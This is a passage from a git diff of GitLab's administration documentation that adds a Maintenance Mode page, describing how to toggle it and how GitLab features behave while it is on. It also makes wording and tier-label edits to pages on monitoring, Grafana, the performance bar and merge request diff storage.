-{"severity":"INFO","time":"2020-12-04T09:29:44.592Z","correlation_id":"33680b1490ccd35981b03639c406a697","filename":"app/models/ci/pipeline.rb","filenum":"395","method":"each_with_object","request_id":"rYHomD0VJS4","duration_ms":26.889,"type": "sql"} +{"severity":"INFO","time":"2020-12-04T09:29:44.592Z","correlation_id":"33680b1490ccd35981b03639c406a697","filename":"app/models/ci/pipeline.rb","method_path":"app/models/ci/pipeline.rb:each_with_object","request_id":"rYHomD0VJS4","duration_ms":26.889,"count":2,"type": "sql"} ``` These statistics are logged on .com only, disabled on self-deployments. @@ -1026,14 +1037,14 @@ GitLab Support often asks for one of these, and maintains the required tools. ### Briefly tail the main logs If the bug or error is readily reproducible, save the main GitLab logs -[to a file](troubleshooting/linux_cheat_sheet.md#files--dirs) while reproducing the +[to a file](troubleshooting/linux_cheat_sheet.md#files-and-directories) while reproducing the problem a few times: ```shell sudo gitlab-ctl tail | tee /tmp/<case-ID-and-keywords>.log ``` -Conclude the log gathering with <kbd>Ctrl</kbd> + <kbd>C</kbd>. +Conclude the log gathering with <kbd>Control</kbd> + <kbd>C</kbd>. ### GitLabSOS diff --git a/doc/administration/maintenance_mode/index.md b/doc/administration/maintenance_mode/index.md new file mode 100644 index 00000000000..61d321f2176 --- /dev/null +++ b/doc/administration/maintenance_mode/index.md @@ -0,0 +1,206 @@ +--- +stage: Enablement +group: Geo +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# GitLab Maintenance Mode **(PREMIUM SELF)** + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2149) in GitLab Premium 13.9. + +Maintenance Mode allows administrators to reduce write operations to a minimum while maintenance tasks are performed. The main goal is to block all external actions that change the internal state, including the PostgreSQL database, but especially files, Git repositories, Container repositories, etc. + +Once Maintenance Mode is enabled, in-progress actions will finish relatively quickly since no new actions are coming in, and internal state changes will be minimal. +In that state, various maintenance tasks are easier, and services can be stopped completely or be +further degraded for a much shorter period of time than might otherwise be needed, for example stopping cron jobs and draining queues should be fairly quick. + +Maintenance Mode allows most external actions that do not change internal state. On a high-level, HTTP POST, PUT, PATCH, and DELETE requests are blocked and a detailed overview of [how special cases are handled](#rest-api) is available. + +## Enable Maintenance Mode + +There are three ways to enable Maintenance Mode as an administrator: + +- **Web UI**: + 1. Go to **Admin Area > Settings > General**, expand **Maintenance Mode**, and toggle **Enable Maintenance Mode**. + You can optionally add a message for the banner as well. + + 1. Click **Save** for the changes to take effect. + +- **API**: + + ```shell + curl --request PUT --header "PRIVATE-TOKEN:$ADMIN_TOKEN" "<gitlab-url>/api/v4/application/settings?maintenance_mode=true" + ``` + +- [**Rails console**](../operations/rails_console.md#starting-a-rails-console-session): + + ```ruby + ::Gitlab::CurrentSettings.update_attributes!(maintenance_mode: true) + ::Gitlab::CurrentSettings.update_attributes!(maintenance_mode_message: "New message") + ``` + +## Disable Maintenance Mode + +There are three ways to disable Maintenance Mode: + +- **Web UI**: + 1. Go to **Admin Area > Settings > General**, expand **Maintenance Mode**, and toggle **Enable Maintenance Mode**. + + 1. Click **Save** for the changes to take effect. + +- **API**: + + ```shell + curl --request PUT --header "PRIVATE-TOKEN:$ADMIN_TOKEN" "<gitlab-url>/api/v4/application/settings?maintenance_mode=false" + ``` + +- [**Rails console**](../operations/rails_console.md#starting-a-rails-console-session): + + ```ruby + ::Gitlab::CurrentSettings.update_attributes!(maintenance_mode: false) + ``` + +## Behavior of GitLab features in Maintenance Mode + +When Maintenance Mode is enabled, a banner is displayed at the top of the page. +The banner can be customized with a specific message. + +An error is displayed when a user tries to perform a write operation that isn't allowed. + + + +NOTE: +In some cases, the visual feedback from an action could be misleading, for example when starring a project, the **Star** button changes to show the **Unstar** action, however, this is only the frontend update, and it doesn't take into account the failed status of the POST request. These visual bugs are to be fixed [in follow-up iterations](https://gitlab.com/gitlab-org/gitlab/-/issues/295197). + +### Admin functions + +Systems administrators can edit the application settings. This will allow +them to disable Maintenance Mode after it's been enabled. + +### Authentication + +All users can log in and out of the GitLab instance but no new users can be created. + +If there are [LDAP syncs](../auth/ldap/index.md) scheduled for that time, they will fail since user creation is disabled. Similarly, [user creations based on SAML](../../integration/saml.md#general-setup) will fail. + +### Git actions + +All read-only Git operations will continue to work, for example +`git clone` and `git pull`. All write operations will fail, both through the CLI and Web IDE with the error message: `Git push is not allowed because this GitLab instance is currently in (read-only) maintenance mode.` + +If Geo is enabled, Git pushes to both primary and secondaries will fail. + +### Merge requests, issues, epics + +All write actions except those mentioned above will fail. For example, a user cannot update merge requests or issues. + +### Incoming email + +Creating new issue replies, issues (including new Service Desk issues), merge requests [by email](../incoming_email.md) will fail. + +### Outgoing email + +Notification emails will continue to arrive, but emails that require database writes, like resetting the password, will not arrive. + +### REST API + +For most JSON requests, POST, PUT, PATCH, and DELETE are blocked, and the API returns a 403 response with the error message: `You cannot perform write operations on a read-only instance`. Only the following requests are allowed: + +|HTTP request | Allowed routes | Notes | +|:----:|:--------------------------------------:|:----:| +| POST | `/admin/application_settings/general` | To allow updating application settings in the admin UI | +| PUT | `/api/v4/application/settings` | To allow updating application settings with the API | +| POST | `/users/sign_in` | To allow users to log in. | +| POST | `/users/sign_out`| To allow users to log out. | +| POST | `/oauth/token` | To allow users to log in to a Geo secondary for the first time. | +| POST | `/admin/session`, `/admin/session/destroy` | To allow [Admin mode for GitLab administrators](https://gitlab.com/groups/gitlab-org/-/epics/2158) | +| POST | Paths ending with `/compare`| Git revision routes. | +| POST | `.git/git-upload-pack` | To allow Git pull/clone. | +| POST | `/api/v4/internal` | [internal API routes](../../development/internal_api.md) | +| POST | `/admin/sidekiq` | To allow management of background jobs in the admin UI | +| POST | `/admin/geo` | To allow updating Geo Nodes in the admin UI | +| POST | `/api/v4/geo_replication`| To allow certain Geo-specific admin UI actions on secondary sites | + +### GraphQL API + +`POST /api/graphql` requests are allowed but mutations are blocked with the error message `You cannot perform write operations on a read-only instance`. + +### Continuous Integration + +- No new jobs or pipelines start, scheduled or otherwise. +- Jobs that were already running continue to have a `running` status in the GitLab UI, + even if they finish running on the GitLab Runner. +- Jobs in the `running` state for longer than the project's time limit do not time out. +- Pipelines cannot be started, retried or canceled. No new jobs can be created either. + +After Maintenance Mode is disabled, new jobs are picked up again. Jobs that were +in the `running` state before enabling Maintenance Mode resume and their logs start +updating again. + +NOTE: +It is recommended that you restart previously `running` pipelines after Maintenance Mode +is turned off. + +### Deployments + +Deployments won't go through because pipelines will be unfinished. + +It is recommended to disable auto deploys during Maintenance Mode, and enable them once it is disabled. + +#### Terraform integration + +Terraform integration depends on running CI pipelines, hence it will be blocked. + +### Container Registry + +`docker push` will fail with this error: `denied: requested access to the resource is denied`, but `docker pull` will work. + +### Package Registry + +Package Registry will allow you to install but not publish packages. + +### Background jobs + +Background jobs (cron jobs, Sidekiq) will continue running as is, because background jobs are not automatically disabled. + +[During a planned Geo failover](../geo/disaster_recovery/planned_failover.md#prevent-updates-to-the-primary-node), +it is recommended that you disable all cron jobs except for those related to Geo. + +You can monitor queues and disable jobs in **Admin Area > Monitoring > Background Jobs**. + +### Incident management + +[Incident management](../../operations/incident_management/index.md) functions will be limited. The creation of [alerts](../../operations/incident_management/alerts.md) and [incidents](../../operations/incident_management/incidents.md#incident-creation) will be paused entirely. Notifications and paging on alerts and incidents will therefore be disabled. + +### Feature flags + +- [Development feature flags](../../development/feature_flags/index.md) cannot be turned on or off through the API, but can be toggled through the Rails console. +- [The feature flag service](../../operations/feature_flags.md) will respond to feature flag checks but feature flags cannot be toggled + +### Geo secondaries + +When primary is in Maintenance Mode, secondary will also automatically go into Maintenance Mode. + +It is important that you do not disable replication before enabling Maintenance Mode. + +Replication and verification will continue to work but proxied Git pushes to primary will not work. + +### Secure features + +Features that depend on creating issues or creating or approving Merge Requests, will not work. + +Exporting a vulnerability list from a Vulnerability Report page will not work. + +Changing the status on a finding or vulnerability object will not work, even though no error is shown in the UI. + +SAST and Secret Detection cannot be initiated because they depend on passing CI jobs to create artifacts. + +## An example use case: a planned failover + +In the use case of [a planned failover](../geo/disaster_recovery/planned_failover.md), a few writes in the primary database are acceptable, since they will be replicated quickly and are not significant in number. + +For the same reason we don't automatically block background jobs when Maintenance Mode is enabled. + +The resulting database writes are acceptable. Here, the trade-off is between more service degradation and the completion of replication. + +However, during a planned failover, we [ask users to turn off cron jobs that are not related to Geo, manually](../geo/disaster_recovery/planned_failover.md#prevent-updates-to-the-primary-node). In the absence of new database writes and non-Geo cron jobs, new background jobs would either not be created at all or be minimal. diff --git a/doc/administration/maintenance_mode/maintenance_mode_error_message.png b/doc/administration/maintenance_mode/maintenance_mode_error_message.png Binary files differnew file mode 100644 index 00000000000..4b422a719ca --- /dev/null +++ b/doc/administration/maintenance_mode/maintenance_mode_error_message.png diff --git a/doc/administration/maven_packages.md b/doc/administration/maven_packages.md deleted file mode 100644 index 690b6785941..00000000000 --- a/doc/administration/maven_packages.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'packages/index.md' ---- - -This document was moved to [another location](packages/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/maven_repository.md b/doc/administration/maven_repository.md deleted file mode 100644 index 690b6785941..00000000000 --- a/doc/administration/maven_repository.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'packages/index.md' ---- - -This document was moved to [another location](packages/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/merge_request_diffs.md b/doc/administration/merge_request_diffs.md index 92fdba6216c..1133bff204c 100644 --- a/doc/administration/merge_request_diffs.md +++ b/doc/administration/merge_request_diffs.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Merge request diffs storage **(CORE ONLY)** +# Merge request diffs storage **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/52568) in GitLab 11.8. @@ -31,8 +31,8 @@ that only [stores outdated diffs](#alternative-in-database-storage) outside of d gitlab_rails['external_diffs_enabled'] = true ``` -1. _The external diffs will be stored in - `/var/opt/gitlab/gitlab-rails/shared/external-diffs`._ To change the path, +1. The external diffs are stored in + `/var/opt/gitlab/gitlab-rails/shared/external-diffs`. To change the path, for example, to `/mnt/storage/external-diffs`, edit `/etc/gitlab/gitlab.rb` and add the following line: @@ -52,8 +52,8 @@ that only [stores outdated diffs](#alternative-in-database-storage) outside of d enabled: true ``` -1. _The external diffs will be stored in - `/home/git/gitlab/shared/external-diffs`._ To change the path, for example, +1. The external diffs are stored in + `/home/git/gitlab/shared/external-diffs`. To change the path, for example, to `/mnt/storage/external-diffs`, edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following lines: @@ -68,7 +68,7 @@ that only [stores outdated diffs](#alternative-in-database-storage) outside of d ## Using object storage WARNING: -Currently migrating to object storage is **non-reversible** +Migrating to object storage is not reversible. Instead of storing the external diffs on disk, we recommended the use of an object store like AWS S3 instead. This configuration relies on valid AWS credentials to @@ -114,7 +114,7 @@ then `object_store:`. On Omnibus installations, they are prefixed by | Setting | Description | Default | |---------|-------------|---------| | `enabled` | Enable/disable object storage | `false` | -| `remote_directory` | The bucket name where external diffs will be stored| | +| `remote_directory` | The bucket name where external diffs are stored| | | `direct_upload` | Set to `true` to enable direct upload of external diffs without the need of local shared storage. Option may be removed once we decide to support only single storage for all files. | `false` | | `background_upload` | Set to `false` to disable automatic upload. Option may be removed once upload is direct to S3 | `true` | | `proxy_download` | Set to `true` to enable proxying all files served. Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data | `false` | @@ -141,7 +141,7 @@ See [the available connection settings for different providers](object_storage.m } ``` - Note that, if you are using AWS IAM profiles, be sure to omit the + If you are using AWS IAM profiles, omit the AWS access key and secret access key/value pairs. For example: ```ruby @@ -206,8 +206,8 @@ To enable this feature, perform the following steps: 1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. -With this feature enabled, diffs will initially stored in the database, rather -than externally. They will be moved to external storage once any of these +With this feature enabled, diffs are initially stored in the database, rather +than externally. They are moved to external storage after any of these conditions become true: - A newer version of the merge request diff exists @@ -225,15 +225,15 @@ of some merge request diffs when [external diffs in object storage](#object-stor were enabled. This mainly affected imported merge requests, and was resolved with [this merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31005). -If you are using object storage, have never used on-disk storage for external -diffs, the "changes" tab for some merge requests fails to load with a 500 error, +If you are using object storage, or have never used on-disk storage for external +diffs, the **Changes** tab for some merge requests fails to load with a 500 error, and the exception for that error is of this form: ```plain Errno::ENOENT (No such file or directory @ rb_sysopen - /var/opt/gitlab/gitlab-rails/shared/external-diffs/merge_request_diffs/mr-6167082/diff-8199789) ``` -Then you are affected by this issue. Since it's not possible to safely determine +Then you are affected by this issue. Because it's not possible to safely determine all these conditions automatically, we've provided a Rake task in GitLab v13.2.0 that you can run manually to correct the data: diff --git a/doc/administration/monitoring/github_imports.md b/doc/administration/monitoring/github_imports.md index cf7c105e8cf..736ff299a86 100644 --- a/doc/administration/monitoring/github_imports.md +++ b/doc/administration/monitoring/github_imports.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Monitoring GitHub imports +# Monitoring GitHub imports **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14731) in GitLab 10.2. diff --git a/doc/administration/monitoring/gitlab_instance_administration_project/index.md b/doc/administration/monitoring/gitlab_instance_administration_project/index.md deleted file mode 100644 index 59837dcdb20..00000000000 --- a/doc/administration/monitoring/gitlab_instance_administration_project/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../gitlab_self_monitoring_project/index.md' ---- - -This document was moved to [another location](../gitlab_self_monitoring_project/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md index 13d42ca2ee6..1262c4192f6 100644 --- a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md +++ b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab self monitoring project +# GitLab self monitoring project **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32351) in GitLab 12.7, behind a disabled feature flag (`self_monitoring_project`). > - The feature flag was removed and the Self Monitoring Project was [made generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/198511) in GitLab 12.8. @@ -19,7 +19,7 @@ specifically created for visualizing and configuring the monitoring of your GitLab instance. All administrators at the time of creation of the project and group are -added as maintainers of the group and project, and as an admin, you can +added as maintainers of the group and project, and as an administrator, you can add new members to the group to give them maintainer access to the project. This project is used to self monitor your GitLab instance. The metrics dashboard @@ -94,22 +94,22 @@ You can add custom metrics in the self monitoring project by: There is [a bug](https://gitlab.com/gitlab-org/gitlab/-/issues/208676) which causes project creation to fail with the following error (which appears in the log file) -when the first admin user is an +when the first administrator user is an [external user](../../../user/permissions.md#external-users): ```plaintext Could not create instance administrators group. Errors: ["You don’t have permission to create groups."] ``` -Run the following in a Rails console to check if the first admin user is an external user: +Run the following in a Rails console to check if the first administrator user is an external user: ```ruby User.admins.active.first.external? ``` -If this returns true, the first admin user is an external user. +If this returns true, the first administrator user is an external user. If you face this issue, you can temporarily -[make the admin user a non-external user](../../../user/permissions.md#external-users) +[make the administrator user a non-external user](../../../user/permissions.md#external-users) and then try to create the project. -Once the project is created, the admin user can be changed back to an external user. +Once the project is created, the administrator user can be changed back to an external user. diff --git a/doc/administration/monitoring/index.md b/doc/administration/monitoring/index.md index 68dbe9f3cf9..ac09acf2d2e 100644 --- a/doc/administration/monitoring/index.md +++ b/doc/administration/monitoring/index.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Monitoring GitLab +# Monitoring GitLab **(FREE SELF)** Explore our features to monitor your GitLab instance: diff --git a/doc/administration/monitoring/ip_whitelist.md b/doc/administration/monitoring/ip_whitelist.md index 83fbec86f57..91f9c5d560f 100644 --- a/doc/administration/monitoring/ip_whitelist.md +++ b/doc/administration/monitoring/ip_whitelist.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# IP whitelist +# IP whitelist **(FREE SELF)** > Introduced in GitLab 9.4. diff --git a/doc/administration/monitoring/performance/gitlab_configuration.md b/doc/administration/monitoring/performance/gitlab_configuration.md index dd4481434a6..03eba67292d 100644 --- a/doc/administration/monitoring/performance/gitlab_configuration.md +++ b/doc/administration/monitoring/performance/gitlab_configuration.md @@ -4,22 +4,24 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Configuration +# GitLab Configuration **(FREE SELF)** GitLab Performance Monitoring is disabled by default. To enable it and change any of its settings: 1. Navigate to **Admin Area > Settings > Metrics and profiling** - (`/admin/application_settings/metrics_and_profiling`): - -  - -1. You must restart all GitLab processes for the changes to take effect: + (`/admin/application_settings/metrics_and_profiling`). +1. Add the necessary configuration changes. +1. Restart all GitLab for the changes to take effect: - For Omnibus GitLab installations: `sudo gitlab-ctl restart` - For installations from source: `sudo service gitlab restart` -## Pending Migrations +NOTE: +Removed [in GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30786). Use the +[Prometheus integration](../prometheus/index.md) instead. + +## Pending migrations When any migrations are pending, the metrics are disabled until the migrations have been performed. diff --git a/doc/administration/monitoring/performance/grafana_configuration.md b/doc/administration/monitoring/performance/grafana_configuration.md index e76e81c6499..e6dda2ac87a 100644 --- a/doc/administration/monitoring/performance/grafana_configuration.md +++ b/doc/administration/monitoring/performance/grafana_configuration.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Grafana Configuration +# Grafana Configuration **(FREE SELF)** [Grafana](https://grafana.com/) is a tool that enables you to visualize time series metrics through graphs and dashboards. GitLab writes performance data to Prometheus, @@ -17,42 +17,38 @@ or Grafana supplies package repositories (Yum/Apt) for easy installation. See [Grafana installation documentation](https://grafana.com/docs/grafana/latest/installation/) for detailed steps. -Before starting Grafana for the first time, set the admin user +Before starting Grafana for the first time, set the administration user and password in `/etc/grafana/grafana.ini`. If you don't, the default password is `admin`. ## Configuration -1. Log in to Grafana as the admin user. -1. Expand the menu by clicking the Grafana logo in the top left corner. -1. Choose **Data Sources** from the menu. -1. Click **Add new** in the top bar: -  -1. Edit the data source to fit your needs: -  -1. Click **Save**. +1. Log in to Grafana as the administration user. +1. Select **Data Sources** from the **Configuration** menu. +1. Select the **Add data source** button. +1. Select the required data source type. For example, [Prometheus](../prometheus/index.md#prometheus-as-a-grafana-data-source). +1. Complete the details for the data source and select the **Save & Test** button. + +Grafana should indicate the data source is working. ## Import Dashboards You can now import a set of default dashboards to start displaying useful information. GitLab has published a set of default -[Grafana dashboards](https://gitlab.com/gitlab-org/grafana-dashboards) to get you started. -Clone the repository, or download a ZIP file or tarball, then follow these steps to import each -JSON file individually: +[Grafana dashboards](https://gitlab.com/gitlab-org/grafana-dashboards) to get you started. To use +them: -1. Log in to Grafana as the admin user. -1. Open the dashboard dropdown menu and click **Import**: -  -1. Click **Choose file**, and browse to the location where you downloaded or - cloned the dashboard repository. Select a JSON file to import: -  -1. After the dashboard is imported, click the **Save dashboard** icon in the top bar: -  +1. Clone the repository, or download a ZIP file or tarball. +1. Follow these steps to import each JSON file individually: - If you don't save the dashboard after importing it, the dashboard is removed - when you navigate away from the page. + 1. Log in to Grafana as the administration user. + 1. Select **Manage** from the **Dashboards** menu. + 1. Select the **Import** button, then the **Upload JSON file** button. + 1. Locate the JSON file to import and select **Choose for Upload**. Select the **Import** button. + 1. After the dashboard is imported, select the **Save dashboard** icon in the top bar. -Repeat this process for each dashboard you wish to import. +If you don't save the dashboard after importing it, the dashboard is removed +when you navigate away from the page. Repeat this process for each dashboard you wish to import. Alternatively, you can import all the dashboards into your Grafana instance. For more information about this process, see the @@ -103,7 +99,7 @@ sudo mv /var/opt/gitlab/grafana/data.bak.xxxx/ /var/opt/gitlab/grafana/data/ However, you should **not** reinstate your old data _except_ under one of the following conditions: -1. If you're certain that you changed your default admin password when you enabled Grafana. +1. If you're certain that you changed your default administration password when you enabled Grafana. 1. If you run GitLab in a private network, accessed only by trusted users, and your Grafana login page has not been exposed to the internet. @@ -121,8 +117,6 @@ existing data and dashboards. For more information and further mitigation details, please refer to our [blog post on the security release](https://about.gitlab.com/releases/2019/08/12/critical-security-release-gitlab-12-dot-1-dot-6-released/). ---- - Read more on: - [Introduction to GitLab Performance Monitoring](index.md) diff --git a/doc/administration/monitoring/performance/img/grafana_dashboard_dropdown.png b/doc/administration/monitoring/performance/img/grafana_dashboard_dropdown.png Binary files differdeleted file mode 100644 index 51eef90068d..00000000000 --- a/doc/administration/monitoring/performance/img/grafana_dashboard_dropdown.png +++ /dev/null diff --git a/doc/administration/monitoring/performance/img/grafana_dashboard_import.png b/doc/administration/monitoring/performance/img/grafana_dashboard_import.png Binary files differdeleted file mode 100644 index fd639ee0eb8..00000000000 --- a/doc/administration/monitoring/performance/img/grafana_dashboard_import.png +++ /dev/null diff --git a/doc/administration/monitoring/performance/img/grafana_data_source_configuration.png b/doc/administration/monitoring/performance/img/grafana_data_source_configuration.png Binary files differdeleted file mode 100644 index a98e0ed1e7d..00000000000 --- a/doc/administration/monitoring/performance/img/grafana_data_source_configuration.png +++ /dev/null diff --git a/doc/administration/monitoring/performance/img/grafana_data_source_empty.png b/doc/administration/monitoring/performance/img/grafana_data_source_empty.png Binary files differdeleted file mode 100644 index 549ada8343e..00000000000 --- a/doc/administration/monitoring/performance/img/grafana_data_source_empty.png +++ /dev/null diff --git a/doc/administration/monitoring/performance/img/grafana_save_icon.png b/doc/administration/monitoring/performance/img/grafana_save_icon.png Binary files differdeleted file mode 100644 index 68a071f5ae2..00000000000 --- a/doc/administration/monitoring/performance/img/grafana_save_icon.png +++ /dev/null diff --git a/doc/administration/monitoring/performance/img/metrics_gitlab_configuration_settings.png b/doc/administration/monitoring/performance/img/metrics_gitlab_configuration_settings.png Binary files differdeleted file mode 100644 index 13bfd097b81..00000000000 --- a/doc/administration/monitoring/performance/img/metrics_gitlab_configuration_settings.png +++ /dev/null diff --git a/doc/administration/monitoring/performance/img/performance_bar_external_http_calls.png b/doc/administration/monitoring/performance/img/performance_bar_external_http_calls.png Binary files differnew file mode 100644 index 00000000000..45f2b0956e9 --- /dev/null +++ b/doc/administration/monitoring/performance/img/performance_bar_external_http_calls.png diff --git a/doc/administration/monitoring/performance/index.md b/doc/administration/monitoring/performance/index.md index 072baa16e29..cdf78811092 100644 --- a/doc/administration/monitoring/performance/index.md +++ b/doc/administration/monitoring/performance/index.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Performance Monitoring +# GitLab Performance Monitoring **(FREE SELF)** GitLab comes with its own application performance measuring system as of GitLab 8.4, called "GitLab Performance Monitoring". GitLab Performance Monitoring is available in both the diff --git a/doc/administration/monitoring/performance/influxdb_configuration.md b/doc/administration/monitoring/performance/influxdb_configuration.md deleted file mode 100644 index d793e014a18..00000000000 --- a/doc/administration/monitoring/performance/influxdb_configuration.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'prometheus.md' ---- - -Support for InfluxDB was removed in GitLab 13.0. Use [Prometheus](prometheus.md) for performance monitoring. diff --git a/doc/administration/monitoring/performance/influxdb_schema.md b/doc/administration/monitoring/performance/influxdb_schema.md deleted file mode 100644 index d793e014a18..00000000000 --- a/doc/administration/monitoring/performance/influxdb_schema.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'prometheus.md' ---- - -Support for InfluxDB was removed in GitLab 13.0. Use [Prometheus](prometheus.md) for performance monitoring. diff --git a/doc/administration/monitoring/performance/introduction.md b/doc/administration/monitoring/performance/introduction.md deleted file mode 100644 index a275efce5bb..00000000000 --- a/doc/administration/monitoring/performance/introduction.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'index.md' ---- - -This document was moved to [another location](index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/monitoring/performance/performance_bar.md b/doc/administration/monitoring/performance/performance_bar.md index a214660bd5c..0516cbc2f8b 100644 --- a/doc/administration/monitoring/performance/performance_bar.md +++ b/doc/administration/monitoring/performance/performance_bar.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Performance Bar +# Performance Bar **(FREE SELF)** You can display the GitLab Performance Bar to see statistics for the performance of a page. When activated, it looks as follows: @@ -31,6 +31,10 @@ From left to right, it displays:  - **Elasticsearch calls**: the time taken (in milliseconds) and the total number of Elasticsearch calls. Click to display a modal window with more details. +- **External HTTP calls**: the time taken (in milliseconds) and the total + number of external calls to other systems. Click to display a modal window + with more details +  - **Load timings** of the page: if your browser supports load timings (Chromium and Chrome) several values in milliseconds, separated by slashes. Click to display a modal window with more details. The values, from left to right: @@ -67,7 +71,7 @@ Requests with warnings display `(!)` after their path in the **Request selector*  -## Enable the Performance Bar via the Admin panel +## Enable the Performance Bar via the Admin Area The GitLab Performance Bar is disabled by default. To enable it for a given group: diff --git a/doc/administration/monitoring/performance/prometheus.md b/doc/administration/monitoring/performance/prometheus.md deleted file mode 100644 index 2978de865e2..00000000000 --- a/doc/administration/monitoring/performance/prometheus.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../prometheus/index.md' ---- - -This document was moved to [another location](../prometheus/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/monitoring/performance/request_profiling.md b/doc/administration/monitoring/performance/request_profiling.md index 23af50dec11..f0ac8f991d3 100644 --- a/doc/administration/monitoring/performance/request_profiling.md +++ b/doc/administration/monitoring/performance/request_profiling.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Request Profiling +# Request Profiling **(FREE SELF)** To profile a request: diff --git a/doc/administration/monitoring/prometheus/gitlab_exporter.md b/doc/administration/monitoring/prometheus/gitlab_exporter.md index 5add842bccc..589fa799cca 100644 --- a/doc/administration/monitoring/prometheus/gitlab_exporter.md +++ b/doc/administration/monitoring/prometheus/gitlab_exporter.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab exporter +# GitLab exporter **(FREE SELF)** >- Available since [Omnibus GitLab 8.17](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/1132). >- Renamed from `GitLab monitor exporter` to `GitLab exporter` in [GitLab 12.3](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/16511). diff --git a/doc/administration/monitoring/prometheus/gitlab_metrics.md b/doc/administration/monitoring/prometheus/gitlab_metrics.md index 4493c1677bc..38b26041901 100644 --- a/doc/administration/monitoring/prometheus/gitlab_metrics.md +++ b/doc/administration/monitoring/prometheus/gitlab_metrics.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Prometheus metrics +# GitLab Prometheus metrics **(FREE SELF)** To enable the GitLab Prometheus metrics: @@ -33,87 +33,95 @@ For enabling and viewing metrics from Sidekiq nodes, see [Sidekiq metrics](#side The following metrics are available: -| Metric | Type | Since | Description | Labels | -|:---------------------------------------------------------------|:----------|-----------------------:|:----------------------------------------------------------------------------------------------------|:----------------------------------------------------| -| `gitlab_banzai_cached_render_real_duration_seconds` | Histogram | 9.4 | Duration of rendering Markdown into HTML when cached output exists | `controller`, `action` | -| `gitlab_banzai_cacheless_render_real_duration_seconds` | Histogram | 9.4 | Duration of rendering Markdown into HTML when cached output does not exist | `controller`, `action` | -| `gitlab_cache_misses_total` | Counter | 10.2 | Cache read miss | `controller`, `action` | -| `gitlab_cache_operation_duration_seconds` | Histogram | 10.2 | Cache access time | | -| `gitlab_cache_operations_total` | Counter | 12.2 | Cache operations by controller or action | `controller`, `action`, `operation` | -| `gitlab_ci_pipeline_creation_duration_seconds` | Histogram | 13.0 | Time in seconds it takes to create a CI/CD pipeline | | -| `gitlab_ci_pipeline_size_builds` | Histogram | 13.1 | Total number of builds within a pipeline grouped by a pipeline source | `source` | -| `job_waiter_started_total` | Counter | 12.9 | Number of batches of jobs started where a web request is waiting for the jobs to 